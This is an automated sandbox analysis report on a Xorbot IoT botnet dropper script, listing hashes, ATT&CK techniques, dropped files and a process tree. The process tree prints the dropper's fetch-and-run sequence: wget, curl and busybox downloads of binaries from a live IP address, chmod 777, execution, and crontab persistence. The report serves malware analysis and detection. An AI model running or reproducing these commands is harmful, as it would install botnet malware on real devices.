xorbot | c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/12/2024, 03:17

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General

Target

bins.sh
Size

10KB
MD5

76cb499bf206bd1606439aa4cb42c17f
SHA1

583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4
SHA256

c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab
SHA512

fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24
SSDEEP

96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1528) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
763	chmod
799	chmod
813	chmod
734	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	735	zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx	742	UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV	765	DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5	800	KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW	814	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

Renames itself 1 IoCs

pid	Process
815	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.502Q4b	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/887/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/932/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/70/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/833/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/860/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/949/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/988/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/989/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1015/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1021/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/5/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/837/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/830/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/841/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/918/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/928/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/935/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/974/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/18/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/912/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/872/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/907/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/883/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/17/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/552/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/832/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/865/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/880/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/16/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/818/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/993/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1035/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/856/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/963/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/884/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/938/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/956/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/79/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/847/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/879/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/141/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/945/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/972/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/11/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/20/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1006/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/702/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/704/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1009/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1022/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/1033/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/904/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/986/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/984/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/3/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/881/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/926/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/970/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/500/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/892/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/864/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
File opened for reading	/proc/978/cmdline	f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV	wget
File opened for modification	/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV	busybox
File opened for modification	/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5	wget
File opened for modification	/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW	busybox
File opened for modification	/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx	busybox
File opened for modification	/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW	curl
File opened for modification	/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5	curl
File opened for modification	/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW	wget
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	wget
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	busybox
File opened for modification	/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx	wget
File opened for modification	/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV	curl
File opened for modification	/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419	curl
File opened for modification	/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx	curl
File opened for modification	/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
  2⤵
  PID:737
- /usr/bin/wget
  wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  ./UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  ./DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
  2⤵
  PID:767
- /usr/bin/wget
  wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  ./KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  - Writes file to tmp directory
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  ./f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:814
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:816
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:817
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:818
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:819
- /bin/rm
  rm f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
  2⤵
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
  2⤵
  PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.502Q4b

Filesize
210B

MD5
9a41434f0d204c1ba52a6cca2ddcccd8

SHA1
94b2466be039fa5520c9e54986c3db953812dea4

SHA256
52da42d04f97e0fe6206f7eaa26a7f19d21fde68ff27982c981b45c868806a57

SHA512
93e9d09e780019a9a4c55ba266a67873992c35fff7127bbea9ce47206f7c7e77f333ef64c945162e228350c91baeaf343b9b2d8b722ace373c5c3deb64cf8395

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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